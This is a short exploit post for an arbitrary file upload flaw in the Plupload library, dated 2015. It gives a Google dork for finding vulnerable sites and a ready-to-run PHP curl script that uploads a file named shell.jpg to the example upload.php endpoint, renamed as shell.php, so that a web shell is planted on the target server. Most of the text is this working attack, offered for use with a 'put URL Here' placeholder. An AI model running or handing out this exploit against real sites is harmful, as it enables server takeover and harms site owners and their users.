Plupload Arbitrary File Upload

#- Title: Plupload Arbitrary File Upload

#- Author: uknown

#- Date: 2015

#- Developer : plupload .com

#- Link Download : plupload. com/download/

#- Google Dork: inurl:"/plupload/"

#- Fixed in Version : -

===================================================

-- Proof Of Concept --

When Vuln : 

{"jsonrpc" : "2.0", "result" : null, "id" : "id"} 

Remote File :

     <?php
    $url = "localhost/plupload/examples/upload.php"; // put URL Here
    $post = array
    (
           "file" => "@shell.jpg",
           "name" => "shell.php"
    );
    $ch = curl_init ("$url");
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt ($ch, CURLOPT_POST, 1);
    @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
    $data = curl_exec ($ch);
    curl_close ($ch);
    echo $data;
    ?>   

*note :

Shell.jpg Change to Shell.php ( automatic )

Shell Path : Here

Tweet